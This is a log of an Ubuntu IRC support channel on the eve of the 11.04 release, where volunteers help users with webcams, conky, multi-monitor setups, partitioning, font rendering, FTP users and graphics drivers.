[01:24] <escott> reeceb install synaptic sudo apt-get synaptic, and then use it to install cheese and the v4l2 tools
[01:24] <usr13> oem is gone...?
[01:24] <itguru> wtracy1: hehe! nice! But sleep is for wimps - i'm gonna have all my desktop users asking me where is the awesome new interface that I've been rubbing in their faces on my dell tablet for weeks
[01:24] <escott> reeceb, also check the v4l website to see if your camera version is supported
[01:24] <reeceb> Sweet. Thanks guys. I'll start there.
[01:25] <brisky83> somebody know how configure 2 gpu and 3 monitor? i will install natty, but i dont know about that :(
[01:26] <ActionParsnip> zzecool: please don't away like that
[01:26] <xiambax> http://www.newegg.ca/Product/Product.aspx?Item=N82E16820139428 this should be more then enough to save my OS on
[01:27] <robert05ad> 16gb?
[01:27] <brisky83> somebody know how configure 2 gpu and 3 monitor? i will install natty, but i dont know about that :(
[01:27] <robert05ad> you can get a 32 gig usb drive lol
[01:27] <ActionParsnip> robert05ad: I've had it since alpha 2
[01:27] <robert05ad> oh ok
[01:27] <robert05ad> I just bought the vertex 2 160, looove it
[01:27] <robert05ad> should have waited on the vertex 3 lol
[01:28] <basso> oh noes, its the 28th!
[01:28] <robert05ad> not yet basso
[01:28] <basso> robert05ad: for me it is! :D
[01:28] <KaAtta> i need a little help setting up conky. I understand how to create a .conkyrc config file. but i downloaded a setup that is in LUA format and it tells me to put it in ~/.conky (but i dont see a .conky file in my home file)
[01:28] <itguru> basso: your in good company, we're all waiting :)
[01:29] <basso> ^^
[01:29] <brisky83> somebody know how configure 2 gpu and 3 monitor? i will install natty, but i dont know about that :(
[01:29] <robert05ad> KaAtta, I have no idea what that even is lol
[01:30] <escott> brisky83, thats a rather exotic configuration, are these ati or nvidia
[01:30] <hiexpo> KaAtta, you gotta make a .conkyrc file
[01:30] <mknarr> Captainkrtek, whats up man
[01:30] <ActionParsnip> KaAtta: the file needs creating, you ca find sample files on the web
[01:30] <KaAtta> hiexpo, hte conky setup i downloaded is in lua format, and it wants me to place it in the .conky directory. which is supposed to be in my user folder, but im not seeing it
[01:30] <brisky83> escott: i have 2 ati, in a mainbord asus rog formula IV
[01:31]  * itguru believes the digital gates should be opened according to the nasa time servers date!
[01:31] <Captainkrtek> hey mknarr
[01:31] <brisky83> escott: 3870 and 4850 ati
[01:31] <qin> KaAtta: la | .con*
[01:31] <Captainkrtek> just got home from work
[01:31] <KaAtta> hiexpo, ActionParsnip here is the link with the file i downloaded and the instructions http://www.techdrivein.com/2011/02/6-awesome-conky-configs-that-just-works.html
[01:31] <robert05ad> ati is notoriously bad for linux support.
[01:31] <ActionParsnip> KaAtta: .conkyrc is a file, not a folder
[01:31] <robert05ad> those wont sli brisky
[01:31] <xiambax> usb wouldnt be faster then SATA ssd
[01:32] <todd_dsm> Is there documentation that explains how to use OpenLDAP utilities with OpenSSL instead of GnuTLS?
[01:32] <hiexpo> KaAtta, when you create a file with . first it is hidden so open open folder click view and than show hidden files
[01:32] <qin> KaAtta: Ups, sorry: la | grep .con*
[01:32] <KaAtta> ActionParsnip, i linked the URL i was going off of, could u take a look and see if u can understand what it wants form me?
[01:32] <KaAtta> hiexpo, i have enabled hidden folders already
[01:33] <hiexpo> KaAtta, should be .conkyrc down towards the bottom
[01:33] <ActionParsnip> katsrc: you need to extract the folder then run the commands on http://gnome-look.org/content/show.php/conky_grey?content=137272
[01:33] <ActionParsnip> hiexpo: there's a method listed on the page above
[01:33] <brisky83> robert05ad: i read about bad on ati supporting linux, i dont use crossfire, and i dont need it, i will not gaming on it, but i use 2 gpu for use 3 monitor
[01:34] <hiexpo> ActionParsnip, i know conky very well   :)
[01:34] <escott> brisky83, crossfire support is not listed as supported http://www.x.org/wiki/RadeonFeature
[01:34] <ActionParsnip> hiexpo: if you read the link, it gives instructions to run, so conkyrc isnt needed
[01:34] <brisky83> robert05ad: but when i try it on maverik i becoma mad with it and came back on win7, but i love natty on my netbook and i want use on big pc
[01:34] <acicula> escott: hes not trying to crossfire
[01:34] <KaAtta> hiexpo, ActionParsnip qin i figured it out guys, i had to create a folder and paste the lua into it
[01:35] <KaAtta> there was no previous folder, i had to create the directory. its working now :D
[01:35] <escott> acicula, brisky83  ok. my connection dropped
[01:35] <acicula> brisky83: you may have to run xorg  on each card, so no unified desktop
[01:35] <hiexpo> ActionParsnip, ya that is silly using lua
[01:35] <brisky83> escott: thanks but i dont care about crossfire, i only want 3 monitor in mutliscreen
[01:36] <escott> brisky83, i think acicula is right. i don't know if xinerama would work, but you could run two different x servers on different cards
[01:36] <ActionParsnip> hiexpo: it works so I don't argue with it
[01:36] <hiexpo> KaAtta, why you using lua ?
[01:36] <armor-64> hi guys i need a an information,the realese about ubuntu 11.04?
[01:36] <Jordan_U> hiexpo: Conky is configured using lua.
[01:37] <KaAtta> hiexpo, i was googling "conky configs" with a time filter of hte last year, and i saw that setup that was pretty
[01:37] <KaAtta> hiexpo, so i wanted
[01:37] <brisky83> escott: acicula i read about it, cinerama on maverick wont work :( but i read to start 2 xconfig with single card everytime , and copy on 1 after all that
[01:37] <ActionParsnip> armor-64: ask in #ubuntu+1
[01:37] <rendero> when will be available 11.04 ?
[01:37] <hiexpo> Jordan_U, yes but not hard to make your own rc file
[01:37] <arand> rendero: When it's ready.
[01:37] <armor-64> actionparnip:thnks man
[01:37] <rendero> arand, when will be ready xD ?
[01:38] <acicula> brisky83: http://superuser.com/questions/257676/ubuntu-3-monitors-2-video-cards-not-working , seems you can get away with just running one xserver.
[01:40] <brisky83> acicula: thanks i save it, and i will try after i download the dayly natty, im a "newbie" but i really love use ubuntu also in desktop pc
[01:40] <acicula> brisky83: i remember using xinerama before, it can be a bit fiddly and dont know if you can configure it using a desktop wizard either, so can be a bit fiddly
[01:40] <arand> rendero: Before 29th
[01:40] <acicula> oh is natty released?
[01:41] <tripelb> ADMINS: think about putting this somewhere in Ubottu or something. I've decided this is a good way to learn more linux. http://tldp.org/LDP/intro-linux/html/index.html
[01:41] <brisky83> acicula: im downloading the daily of 27/04 i guess is the same of official of today
[01:42] <rendero> arand, but i saw schedule and its written 28th :S
[01:42] <tripelb> question: do I have to upgrade to 10.10 before I can upgrade to natty? (now 10.04)
[01:42] <arand> tripelb: Yes
[01:43] <hiexpo> KaAtta, here is my conky   http://tinypic.com/r/34fzo6g/7
[01:43] <robert05ad> You can install 11.04 fresh
[01:43] <ssfdre38> tripelb: 10.04 LTS?
[01:43] <tripelb> arand, thanks
[01:43] <tripelb> um, 10.04 - is there more than one kind?
[01:44] <acicula> no there isnt
[01:44] <ssfdre38> stay on 10.04 its the better one to be on
[01:44] <tripelb> this one ssfdre38 - You are using Ubuntu 10.04 LTS
[01:44] <tripelb>                 - the Lucid Lynx - released in April 2010 and supported until April 2013.
[01:44] <tripelb> 	
[01:44] <rendero> !isitout
[01:44] <ubottu> It's out soon! Join #ubuntu-release-party and await release with the other excited folks :D
[01:44] <tripelb> oh ssfdre38 that's easy. at what point would I move onto 10.10 ?
[01:45] <ssfdre38> the next LTS is out
[01:45] <sancas> how can i export database of banshee ?
[01:45] <Macer> isnt 10.10 stable?
[01:45] <ssfdre38> 10.04 its good for 3 years of support
[01:45] <Macer> actually released?
[01:46] <ssfdre38> 10.10 and 11.04 gets 18 months of support
[01:46] <acicula> LTS just means its supported for a longer period, and supposedly a little more stable then the usual intermediary versions
[01:46] <bloopletech> sancas: ~/.config/banshee-1/banshee.db
[01:46] <Macer> i mean.. it is a simple dist-upgrade
[01:46] <acicula> next LTS is 12.04
[01:46] <bloopletech> sancas: that's an sqlite3 database that you can use if you're so inclined
[01:49] <hiexpo> 10.04 moo betta Macer
[01:49] <KaAtta> hiexpo, nice, but thats a bit too complicated for my girlfriend lol
[01:49] <tripelb> does unity have betterfonts, clearer, sharper?
[01:50] <sancas> bloopletech, and to restore? only paste in the same place?
[01:50] <tripelb> KaAtta, 10.04 is too complicated for your girlfriend?
[01:50] <hiexpo> KaAtta, only took me 30 minutes to make it
[01:51] <bloopletech> sancas: I believe so
[01:51] <linuxmonkey> !party
[01:51] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[01:51] <bloopletech> sancas: assuming you're on the samish version of banshee
[01:51] <hiexpo> tripelb, no he was talking bout my conky
[01:51] <tripelb> O
[01:51] <tripelb> O
[01:51] <escott> tripelb, there is a new font, but you shouldn't have blurry fonts have you tried adjusting your subpixel rendering options
[01:51] <bloopletech> tripelb: you can configure how fonts look on your current system (and I assume on unity)
[01:52] <tripelb> I'm still asking questions about how to partition my gynormous (1T) hard drive so that I can have 2 different ubuntus. I am also still asking about how to copy files from one ubuntu (one one hard drive) to another. I cant sign in on both and I am stuck.
[01:53] <sancas> bloopletech, yes :) but.. if the place of music change but this have the same name no problem??
[01:53] <bloopletech> tripelb: System -> Preferences -> Appearance, then the Fonts tab. If you're using an LCD then turn Subpixel rendering on and then tweak it by clicking Details...
[01:53] <brisky83> nite everybody
[01:53] <bloopletech> sancas: I'm not sure, it might store absolute paths in the database
[01:53] <tripelb> bloopletech, escott, unless it will get better on reboot I've configured all there is to configure and it's better on windows. I dont want windows, I want fonts I can see with more ease.
[01:54] <tripelb> bloopletech, I am using a CRT.
[01:54] <bloopletech> tripelb: you're going to have to be a lot more specific than it's 'better on windows'
[01:54] <bloopletech> oh, than turn subpixel off
[01:54] <KaAtta> hiexpo, nice, ill link u what im going with once im done customizing it
[01:54] <sancas> bloopletech, im going to try in this moment :P
[01:54] <bloopletech> try grayscale
[01:54] <tripelb> bloopletech, I can read it there. here I have to make it bigger. -- I turned it on 2 days ago and it made no differnce.
[01:54] <tripelb> I like color I dont want to go back to before the amiga.
[01:55] <tripelb> you are dissing me by saying that.
[01:55] <bloopletech> tripelb: what
[01:55] <tripelb> nevermind.
[01:55] <bloopletech> tripelb: I meant grayscale font smoothing
[01:55] <[Messer]> is this server's full of programmers?)
[01:55] <tripelb> oh. ok
[01:55] <bloopletech> not grayscale display
[01:55] <uncmar> [Messer]: nah, but I'm a programmer.
[01:55] <bloopletech> because subpixel rendering is designed for lcd's so it won't work very well on crt
[01:56] <reeceb> escott and others, thanks a ton. I'm up and running with cheeze now I'm just wondering how to directly access the video feed for processing
[01:56] <sebsebseb> hi
[01:56] <escott> reeceb, its /dev/video0 but v4l does lots of nice stuff (like flipping my upside down camera the right way)
[01:56] <[Messer]> » uncmar » the most of channels are linux, ubuntu etc.. O_o ))
[01:56] <uncmar> subpixel, things smaller than pixels?  what are those, pixels below pixels so that when you scale up it looks pretty?
[01:56] <hiexpo> KaAtta, kk
[01:56] <tripelb> bloopletech, thanks for the help. I'm too tired to remember how to get there now.
[01:56] <bloopletech> tripelb: WRT your other questions, the easiest way to partition your drives is probably to burn a livecd, boot into that and use gparted to divide your drive in half - though you may want swap partitions for each installation
[01:57] <escott> reeceb, i would recommend using gstreamer to get the stream, or look at the v4l docs there may be bindings for popular languages
[01:57] <reeceb> gstreamer?
[01:57] <bloopletech> uncmar: on an lcd, each pixel is mad eup of three lights: a red a green and a blue one
[01:57] <uncmar> [Messer]: isn't it great?  Linux is taking over.  Well, at least becoming a bit more popular.
[01:57] <reeceb> and how do I get to dev/video0
[01:57] <[Messer]> » uncmar » yup, man, you're right =)
[01:57] <bloopletech> subpixel rendering means controlling the individual lights to achieve a better result
[01:58] <escott> reeceb, media framework included in gnome. what do you want to do with your camera video? and what language do you want to use?
[01:58] <revButl> greetings; what are some ways to set up my hard disk partitions?
[01:58] <sebsebseb> Just now was the first time I joined this channel since last year,  or maybe I joined once earlier this year or something
[01:58] <reeceb> hopefully C and do some minor vision detection with openCV
[01:58] <escott> revButl, are you asking for suggested partition layouts or tools to partition
[01:58] <revButl> suggested partition layouts please
[01:58] <uncmar> eh, CRT's display with the same RGB combo.  Hence, 24 bit color.  8 bits per the trio.
[01:59] <bloopletech> uncmar: well no
[01:59] <reeceb> I have openCV installed and am using Harpia to prototype my algorythms but my end target system is a beagleboard
[01:59] <escott> revButl, how many disks do you have, how much space, what are your goals/uses for the system, how would you prioritize things like backups vs performance vs flexibility
[01:59] <bloopletech> uncmar: crts work by projecting beams through a phosphor coating at the screen
[01:59] <escott> reeceb, see if someone has codesamples for openCV and v4l2 im sure its been done many times
[02:00] <au-contrarian> Why was Grub2 v1.97 and not just 2.0?
[02:00] <bloopletech> tripelb: regarding accessing your other hard drive: if you go Places -> Computer your other drive sohuld be there and you should be able to double click it to access the files on that drive
[02:00] <escott> au-contrarian, 2.0 hasn't been released yet, but they really liked the features and thought it was stable enough
[02:00] <revButl> decreasing emphasis on flexibility, data recovery, then performance; i have one hard disk with about 50 gigs over half a terabyte with about half a terabyte designated for windows
[02:00] <sancas> how can i close banshee if when i close it if i using integration with my sound menu?
[02:01] <au-contrarian> So Grub2 isn't really Grub2, it's Grub1.97
[02:01] <[Messer]> » uncmar » by the way, I'd just want to find english-speaking channel/server.. When I came here, I've got very amazed of Linux's popularity )
[02:01] <hiexpo> au-contrarian, no it is grub2 version 1.97
[02:01] <_ryx_> viva 11.04
[02:02] <escott> revButl, i would suggest making a smaller partition ~15-20gigs for your operating system and configuring it as raid1 mirrored across the two disks with mdadm
[02:02] <KaAtta> hiexpo, didnt forget about u, i got terminal running a package update, taking a few minutes before i can load up my new conky config
[02:03] <escott> revButl, for the rest of the disk i would have raid1 as well, and use that for your larger files, if you outgrow the storage you can either buy more or go into a raid1 degraded mode and free a half-terabyte
[02:03] <sancas> oh sorry i have integrated my banshee with my sound menu and i never can close it :( how can i close?
[02:03] <escott> revButl, and don't forget a bit for swap space
[02:03] <Ziber> Huh. I'm on a live CD, installing ubuntu. Installer seems to be just sitting at 79%, not looking like its doing much
[02:03] <mrdeb> why does banshee not work with ipod?
[02:03] <mrdeb> what works with ipod
[02:03] <revButl> is the current heuristic for swapspace to be 2x the amount of memory you have still?
[02:03] <multipass> !countdown
[02:03] <escott> revButl, im sure you can get many other opinions
[02:03] <computerwiz_222> mrdeb: it does work with most ipods, what ipod do you have?
[02:03] <uncmar> mrdeb: a mac or windows.  but, linux?  I don't know.  I won't buy an ipod.
[02:03] <mrdeb> shuffle
[02:03] <escott> !isitout | multipass
[02:03] <ubottu> multipass: It's out soon! Join #ubuntu-release-party and await release with the other excited folks :D
[02:04] <au-contrarian> escott, hiexpo - thanks.
[02:04] <computerwiz_222> mrdeb: what happens when you try to sync?
[02:04] <bloopletech> sancas: open a terminal and do killall -9 banshee - that will forcibly terminate banshee
[02:04] <mrdeb> computerwiz_222: it does nto see it
[02:04] <hiexpo> au-contrarian, welcome np
[02:04] <computerwiz_222> mrdeb: does it mount it as a device in the file manager?
[02:04] <escott> au-contrarian, those gnu people tend to be a little picky about having all the details right with unimportant stuff like a bootloader ;)
[02:04] <revButl> i don't want to configure my computer so that i lose education or entertainment potential; i just remember Ubuntu putting about 5 partitions on my hard disk;
[02:04] <mrdeb> computerwiz_222: no
[02:04] <computerwiz_222> mrdeb: also.. what ipod shuffle? the latest one?
[02:05] <mrdeb> no
[02:05] <Ziber> What should I do if my installer just seems to sitting at a certain percentage (in this case, 79%)... Seemingly not doing anything.
[02:05] <computerwiz_222> mrdeb: it should work just fine.. i hate to ask.. is it plugged in?
[02:05] <hiexpo> revButl, you only need 2
[02:05] <escott> revButl, thats not really necessary, its a throwback from the old days of unix sysadmins when each disk was 10megs
[02:05] <bloopletech> revButl: you can just make a main partition and a swap partition - it's not really special how you configure it and it won't change your entertainment potential
[02:05] <escott> revButl, 90% of people have 2 (/ and swap) some add a couple more for /home or /boot
[02:06] <revButl> ok thanks guys
[02:06] <sancas> jajja bloopletech thanks never thought of it :D
[02:06] <bloopletech> also, you can resize and add partitions later if you want
[02:06] <bloopletech> it's not 2000 anymore :D
[02:06] <bloopletech> sancas: np
[02:06] <mrdeb> computerwiz_222: yes
[02:07] <viranch> when is natty releasing?
[02:07] <mrdeb> now
[02:07] <bloopletech> viranch: sometime in the next 24hours probablky
[02:07] <au-contrarian> escott- then name is just maddening.  There is Grub, I get that, and that never really had a version 1, it just went up to 0.97 - and then they decide to release Grub2 but that is version 1.97 - seriously WTF?  They could have at least called Grub2 v1.0
[02:07] <Ziber> How long should "creating user" really take when installing ubuntu? Has been sitting at that in the installer for about 5 mins now.
[02:07] <viranch> mrdeb: not released yet!
[02:07] <viranch> bloopletech: not a fixed time?
[02:07] <bloopletech> viranch: no
[02:08] <escott> au-contrarian, its understandable it is a bootloader and all
[02:08] <bloopletech> viranch: I think they leave it flexible in case there are last minute issues
[02:08] <viranch> bloopletech: Ok..
[02:08] <escott> au-contrarian, it could have a version number like latex which is always fun
[02:08] <induz> suddenly my comp is running slow
[02:08] <induz> what should i do??
[02:08] <escott> induz, what has changed
[02:08] <bloopletech> viranch: you can join #ubuntu-release-party if you like and await 11.04
[02:08] <induz>  nothing has changed
[02:08] <mehdi> hello
[02:08] <KaAtta> hiexpo, ok bud, here is the setup i went with http://i55.tinypic.com/4oo5j.png
[02:09] <escott> induz, see if anything is using cpu in gnome-system-monitor
[02:09] <bloopletech> induz: Start -> System -> Administration -> Task Manager
[02:09] <viranch> bloopletech: sounds nice! thanks
[02:09] <bloopletech> then click the cpu column to sort desecending
[02:09] <escott> KaAtta, what is that desktop widget
[02:09] <cga> hey türk olanvarmı
[02:09] <bloopletech> also try clicking the memory column and sort decending to see if something's taking up all your ram
[02:09] <bloopletech> viranch: np
[02:09] <Ziber> Why would my install seemingly stop... installing and just sit at 79%?
[02:09] <cga> hey türk olanvarmı
[02:09] <cga> hey türk olan varmı
[02:10] <KaAtta> escott which? the guages?
[02:10] <escott> Ziber, can you click on details anywhere
[02:10] <Ziber> escott: nope...
[02:10] <escott> KaAtta, yes the "speedometer" for cpu
[02:10] <hiexpo> KaAtta, pretty kool you using kde huh
[02:10] <KaAtta> hiexpo, no, using gnome, 10.10
[02:11] <escott> Ziber, what was the last thing it said it was doing, or is it just a progress bar?
[02:11] <fieris> why?
[02:11] <induz> is there anyway i can find what r the processes running
[02:11] <Ziber> escott: Progress bar, 79%, "creating user..."
[02:11] <induz>  most of the processes r sleeping
[02:11] <KaAtta> escott, that is conky, i just installed it and configured it using a setup i found online
[02:11] <induz>  but available swap is just 3%
[02:11] <escott> KaAtta, cool
[02:11] <bloopletech> induz: something is chewing your ram
[02:11] <KaAtta> induz in terminal: ps aux
[02:11] <bloopletech> induz: try sorting by memory usage descending
[02:12] <escott> Ziber, have you already entered your username info? wondering if there is a popup somewhere behind a window
[02:12] <Ziber> escott: I already have, came before it.
[02:12] <hiexpo> that is gnome KaAtta oh with bar on bottom forgot what that is called looks like kde   but now that i look at i know
[02:12] <Ziber> escott: no other window associated with it.
[02:12] <KaAtta> the bar im using is cairo-dock
[02:12] <tripelb> bloopletech, yes all you say is true. I can access them. I cannot copy them because I dont have permission. when I log into the other drive I cannot even see my normal filesystem. I can only see the filesystem I am on and 2 windows partitions and one NTFS partions. (I have 3 drives mounted.)
[02:12] <KaAtta> im still trying to figure out how to get composite to work on my LDXE setup, been trying for days
[02:12] <KaAtta> cant get any help in lubuntu channel
[02:13] <escott> Ziber, can you run stuff from the live cd, namely the system monitor and see if anything is happening
[02:13] <linuxman410> any help with a intel 845ge video card on board i found nothing to help in google
[02:13] <netmsi> hi all...if in proftpd, i want to create a user, and lock them into a directory, say like /home/user/Pictures, do I have to create that user in ubuntu (cli or otherwise?)
[02:13] <Ziber> escott: where would i find that? slightly new to ubuntu.
[02:13] <induz> ps aux throws a list of % CPU and i dont know what to do with them
[02:13] <hiexpo> KaAtta, oh ok that lbuntu  not gnome
[02:13] <bloopletech> tripelb: ah I see. To deal with the permissions issue you may be able to run gksudo nautilus and copy the files in that window
[02:13] <bloopletech> tripelb: I'm not sure why you can't see the partition from the other installation
[02:14] <KaAtta> hiexpo, the screentshot is gnome, i ALSO have another machine running lubuntu, but i cant get composite to work on it
[02:14] <escott> netmsi, when you install proftpd it should create a user for the app, the restriction bit is part of the proftpd config, there is a gui for proftpd as well
[02:14] <mar7ar> hi everybody i`m in such a big problem i have intented to remove a libusb package but instead i have pressed libusb* then all dependant package are removed how can i fix this?/?
[02:14] <syddraf> Is there a way to determine if I am running Ubuntu 32 or 64 bit?
[02:14] <induz> how can i make it run fatser as earlier??
[02:14] <bloopletech> syddraf: uname -a
[02:15] <hiexpo> KaAtta, lookslike lkde to me but ok
[02:15] <escott> Ziber, did you boot the live cd to the desktop environment then start the install or did you just take the first install option
[02:15] <netmsi> escott, i tried gadmin, and it seems like webmin is just as viable as an option, but what if i want to create user other than the default?
[02:15] <tripelb> bloopletech, I copy what you say and do it another day. Peace. Thanks a lot for working with me.
[02:15] <HerrRiz> I'm having trouble setting the PS1 variable as a non-root user. \u doesn't give the proper output. When I set my variable with PS1='\u\$', I get exactly that as my prompt.
[02:15] <bloopletech> induz: Go to the task manager, sort by memory usage descending then click the top item and click kill process
[02:15] <bloopletech> tripelb: np
[02:15] <hiexpo> KaAtta, nevermind   i didnt scrol up   lol
[02:15] <KaAtta> hiexpo, the screenshot is gnome, 10.10, all i have done is changed background, added the dock, added conky, and removed bottom panel
[02:15] <KaAtta> that is it lol
[02:15] <bloopletech> induz: repeat until success
[02:16] <syddraf> bloopletech: It returns 2.6.32-31-generic-pae #61-Ubuntu SMP Fri Apr 8 20:00:13 UTC 2011 i686 GNU/Linux
[02:16] <mupeng> hai
[02:16] <bloopletech> syddraf: you're 32-bit
[02:16] <escott> netmsi, you could do that but there are various things you have to be aware of like, making sure the user has /dev/null as their shell and some pam stuff, better to use the suggested user
[02:16] <syddraf> bloopletech: Thank you. I appreciate it.
[02:16] <bloopletech> syddraf: np
[02:16] <sancas> where can i locate the covert art of the song is playing rigth now? im using banshee2.0
[02:16] <mupeng> hai
[02:16] <mupeng> oi!!1
[02:16] <induz> its getting better now
[02:16] <mupeng> what??
[02:16] <induz> do i have to perform this KILL process everytime
[02:16] <mupeng> i love yiou
[02:17] <hypetech> anybody know what time natty goes live?
[02:17] <mupeng> no
[02:17] <rww_> hypetech: there is no set time
[02:17] <hypetech> k
[02:17] <mupeng> oi
[02:17] <mupeng> oi
[02:17] <mupeng> oi
[02:17] <FloodBot2> mupeng: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[02:17] <jstrap> hi i have installed ubuntu from a cd that my friend gave me, and am having trouble getting my graphics to look right. I have got pretty much everything the way i want it but the video is messed up looking. here is a list of some commands. http://pastebin.com/EupuENiB
[02:17] <netmsi> escott, so multiple users are not advisable? what if i need three separate users each with their own direct.?
[02:17] <bloopletech> induz: only if a program is doing something wrong and using memory badly
[02:17] <bloopletech> induz: not usually
[02:17] <escott> netmsi, you can only have one service on a single port
[02:18] <hiexpo> KaAtta, should use 10.04 did you look what kernal i was using   :)
[02:18] <escott> netmsi, so proftpd has to run as someone, and various restrictions should be put around that user, which they do by default, so that if someone does intrude into proftpd the damage they can do is minimal
[02:18] <bloopletech> jstrap: what's wrong with the video at the moment? is the resolution too low or...
[02:18] <KaAtta> i didnt
[02:18] <hiexpo> super fast
[02:18] <netmsi> escott, but it supports multiple connections (forgive the ignorance)?
[02:18] <KaAtta> hiexpo, i really wanna try 11.04 but i cant get the beta to boot for me if my life depended on it
[02:18] <hiexpo> ^ KaAtta
[02:19] <induz> bloopletech, its getting a bit better by killing some of the processes
[02:19] <jstrap> bloopletech, yes, thats what it is.
[02:19] <george> hello
[02:19] <bloopletech> jstrap: try going to System -> Preferences -> Monitors
[02:19] <hiexpo> KaAtta, leave 11.04 alone 10.04 has better support
[02:19] <netmsi> escott, maybe i'm using the wrong word when i say users..multiple logins?
[02:19] <bloopletech> jstrap: see if it will let you increase the resolution
[02:19] <linuxman410> upgraded from 10.04 to 10.10 and only have one resolution
[02:19] <george> I need some help with a realtek driver
[02:19] <induz> bloopletech, but i really dont know what i am killing as names are not familiar except few like mozila and thunderbird
[02:20] <escott> netmsi, give me a sec to confirm what i am saying is true ;)
[02:20] <george> can any budy hekp me??
[02:20] <bloopletech> induz: true, it is a bit risky
[02:20] <netmsi> escott, thank you..
[02:20] <bloopletech> induz: I mean if you're not sure, rebooting should sort it out
[02:20] <hiexpo> KaAtta, always better to stay with the lts versions    :)
[02:21] <escott> netmsi, so there is a distinction between a remote shell ala ssh and an service like http
[02:21] <george> Realtek Driver any here body out there who can help??
[02:21] <jstrap> bloopletech, I tried that, but it seems i dont have any driver installed maybe? would there be a program by nvidia if i did?
[02:21] <bloopletech> jstrap: you have an nvidia chipset?
[02:21] <hiexpo> george, sure what chipset ?
[02:21] <KaAtta> ive used 10.10 more then anything and to be honest, right now im loving it. im pretty new to linux and im having a fairly easy time figuring it out
[02:21] <george> i have no idea?
[02:22] <george> is boult in
[02:22] <KaAtta> hiexpo,  i really wish my othe rmachine was capable of running 10.10
[02:22] <escott> netmsi, when you ssh into a server you have an account running as your user on that server, when you http into a server you are asking an httpd program like apache to do things on your behalf, proftpd can do a bit of both, but the safer thing is to set it up like an httpd server
[02:22] <jstrap> bloopletech, yes
[02:22] <bloopletech> jstrap: If so, then I believe you have two options: the driver that nvidia supplies, and a new open-source driver built by the community
[02:22] <hiexpo> KaAtta, 10.04 can do more   :)
[02:22] <bloopletech> jstrap: I'd suggest maybe trying both if you're not sure - I don't have nvidia so I can't recommend which one
[02:22] <bloopletech> let me link you
[02:22] <KaAtta> question is, will it run smoothly on my other machine?
[02:23] <hypetech> hiexpo: what's the benefit of 10.04?
[02:23] <hiexpo> george, not a usb ?
[02:23] <KaAtta> my other machine has issues running 10.10 but runs lubuntu 10.10 just fine
[02:23] <jstrap> bloopletech, Im sure i have nvidia, but i dont know exactly what i have in this laptop, if that makes any sense lol
[02:23] <netmsi> escott, ok...i think i understood that answer..you'll have to forgive, am just learning about ftp..still hasnt quite coalesced methinks
[02:23] <escott> netmsi, so when proftpd gets a connection request it authenticates against a list of usernames which need not be real users of the server (without a account or /home, so the only thing they can do is ftp), and then forks and processes their requests
[02:23] <bloopletech> jstrap: yeah np. DO you know what version of ubuntu you have installed?
[02:23] <hiexpo> hypetech, you can hack t better   :)
[02:23] <digdeep> install virtualbox 4.0.6 with ubuntu 11.04, but /etc/init.d/vboxdrv is missing. Anyone please?
[02:24] <hiexpo> hypetech, and it lts
[02:24] <escott> netmsi, if you want a service for people who have accounts on the server already consider ssh and sftp
[02:24] <sebsebseb> digdeep: oh you want to virtualmachine Ubuntu 11.04?
[02:24] <KaAtta> hiexpo, what does LTS stand for?
[02:24] <netmsi> escott, yes, that was my question...so how do i create those accounts (not on the server, just for ftp purposes?
[02:24] <sebsebseb> !lts | KaAtta
[02:24] <ubottu> KaAtta: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[02:24] <hiexpo> KaAtta, long term support
[02:24] <digdeep> wrong channel, sorry
[02:24] <jstrap> bloopletech, the cd that he gave me was blank, but i think its 9.04. I thought if i installed all the updates it might fix it, but it didnt
[02:25] <sebsebseb> digdeep: I can link you to some proper instructions on how to virtual machine 11.04
[02:25] <escott> netmsi, its part of the proftpd config haven't done it in some time though
[02:25] <george> no hiexpo is a built in to a toshiba
[02:25] <KaAtta> hiexpo, sebsebseb ty both
[02:25] <sebsebseb> digdeep: actsaully I think for a virtual machine of 11.04, even though 11.04 isn't out just yet, this channel would be sort of ok, because you could be virtual machining it with a previous version of Ubuntu,  as host,  and you could with another distro as host as well
[02:25] <bloopletech> jstrap: ok, you have a couple options. You can upgrade your ubuntu to a later version (which is different to installing the updates); this is probably a good idea anyway as 9.04 is a few years old now
[02:26] <hiexpo> KaAtta, i boot in 32 secs   :)
[02:26] <escott> netmsi, ftp is discouraged for a lot of reasons, if you can use ssh and sftp thats better
[02:26] <netmsi> escott, i don't mind figuring it out myself, but what is that login called in proftpd? 'user', 'account', etc.?
[02:26] <bloopletech> either way you can switch to the nvidia supplied drivers if you like - here is a howto https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[02:26] <reeceb_> escott, thanks again. I've found some stuff online and I'm callin' it for the evening. Take it easy
[02:26] <escott> reeceb_, np
[02:26] <hiexpo> george, ok you need to get the info of it and i can probally help you than
[02:26] <george> ok
[02:26] <escott> netmsi, virtual users i think
[02:27] <netmsi> escott, unfortunately not...the people i want to share file w/ are not technical...i can set them up w/ a ftp client, they can hang..
[02:27] <auxin> hi is there a way to get apt-get to tell me how many updates are available?
[02:27] <Luke1> hey I'm having a problem on ubuntu 11.04 gdm login: "There is a problem with the configuration server. (/usr/lib/libgconf2-4/gconf-sanity-check-2 exited with status 256"
[02:27] <netmsi> escott, cool...
[02:27] <george>  let me see if i can toshiba drivers for win 7 dose not have info on the chipset only on the units compatible
[02:27] <reves> auxin... try sudo apt-get update
[02:27] <bloopletech> jstrap: the current Long Term Support release of ubuntu is 10.04 lucid, and the latest version is 10.10 maverick
[02:28] <jstrap> bloopletech, ok. guess it was worth the try cause i learned a few thing but ill just have to do a fresh install of a later distro. thanks for the help though :)
[02:28] <bloopletech> jstrap: although 11.04 natty is coming out in the next day or so ;)
[02:28] <escott> Ziber, you still waiting on that install
[02:28] <bloopletech> jstrap: ok -though you can upgrade ubuntu over the internet if you want
[02:28] <auxin> reves, hmm no that doesnt work, thanks though
[02:28] <fcuk112> hi, natty beta 2 install freezes after i click next on the screen where you specify whether you want to download updates / install restricted stuff.  anyone else seen this before?
[02:29] <bloopletech> jstrap: assuming you have a decent internet connection
[02:29] <auxin> Im looking for something like aptitudes $aptitude search ~U
[02:29] <auxin> but only for apt-get
[02:29] <hiexpo> george, open terminal and type   >   lspci -v | less
[02:29] <jstrap> bloopletech, maybe ill just wait for 11.04, might be worth it
[02:29] <fcuk112> i tried both normal and alternate install iso
